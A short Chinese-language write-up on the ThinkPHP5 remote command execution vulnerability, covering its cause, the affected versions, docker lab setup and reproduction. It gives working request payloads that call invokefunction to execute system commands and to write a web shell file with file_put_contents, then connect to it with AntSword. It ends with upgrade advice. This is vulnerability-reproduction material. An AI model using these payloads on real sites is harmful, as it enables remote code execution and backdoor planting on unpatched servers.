ThinkPHP5远程命令执行漏洞

ThinPHP简介

ThinkPHP是一个快速、兼容而且简单的轻量级国产 PHP开发框架 ，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，遵循Apache2开源协议发布，使用面向对象的开发结构和 MVC模式 ，从Struts结构移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式。

漏洞产生原因

由于thinkPHP5框架对控制器名没有进行足够的安全检测，导致在没有开启强制路由的情况下，攻击者构造指定的请求，可以直接getshell。

受影响版本

thinkPHP 5.0.x <thinkPHP 5.0.23

thinkPHP 5.1 <thinkPHP 5.1.31

漏洞复现

启动环境

docker-compose build

docker-compose up -d

访问web环境

 代码执行

/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

 

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd

 写入一句话

 

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

蚁剑连接

修复建议：请升级至最新版本

 参考链接：ThinkPHP5 远程命令执行漏洞 - ʚɞ无恙 - 博客园